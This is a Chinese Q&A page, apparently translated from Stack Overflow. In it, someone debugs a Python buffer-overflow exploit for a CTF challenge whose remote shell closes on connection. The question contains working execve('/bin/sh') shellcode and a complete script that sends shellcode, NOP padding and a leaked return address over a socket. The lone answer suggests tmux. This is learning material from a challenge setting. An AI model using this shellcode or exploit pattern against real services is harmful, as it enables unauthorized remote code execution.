【问题标题】:Buffer Overflow Exploit over using TCP won't keep shell open缓冲区溢出利用 TCP 不会使 shell 保持打开状态
【发布时间】:2021-02-06 16:41:58
【问题描述】:

我为此 CTF 制作了一个用于远程机器的缓冲区溢出漏洞。挑战会打印出一个地址,然后您必须使用该地址才能知道您的 shellcode 的存储位置。附上我目前的漏洞利用代码:

if len(sys.argv) != 3:
    print "Usage: %s host port" % (sys.argv[0])
    sys.exit(0)

s = socket.create_connection([sys.argv[1], int(sys.argv[2])])
recieved = s.recv(4096)
print(recieved)
#send 10 bytes of data
s.send("9999\n")
time.sleep(.2)
raw_input("EXPLOIT ?? ")

print s.recv(4096)

sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" 
pad = "\x90" * 251
IP = struct.pack("I",literal_eval(recieved[13:23]))
print("ADDR: ", recieved[13:23])
s.send(sh + pad + IP)

基本上我首先创建连接,然后我发送一个输入,将程序引导到它需要去的地方,以便可以利用(与这个问题并不真正相关)

接下来我自己创建漏洞利用

基本前提是:

shellcode + padding + eip

eip地址来自程序输出给我的东西(这是我在IP变量中解析的)

该地址是缓冲区的开头,这是我的 shellcode 开始的地方,也是我想要跳转到的地方。

我正在使用 socat 运行二进制文件,因此它与托管在 CTF 服务器上的挑战相同。我使用 GDB 附加到该进程,然后运行我的漏洞利用。它成功但给出了这个输出:

process 2422 is executing new program: /usr/bin/dash
[Inferior 1 (process 2422) exited normally]
(gdb) 

我与该服务的连接已终止。

如果我使用本地二进制文件运行它,我会使用 (python file.py ; cat - ;) | ./program 以保持流打开,但这不是一个选项,因为我需要程序输出的内容并且必须远程执行。我也尝试过使用 Telnet,但是程序只是挂起,没有任何反应。

【问题讨论】:

    标签: python stack-overflow reverse-engineering buffer-overflow


    【解决方案1】:

    通过 tmux 运行漏洞利用脚本对我有用。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2016-02-07
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2010-10-02
      • 1970-01-01
      • 2015-07-02
      相关资源
      最近更新 更多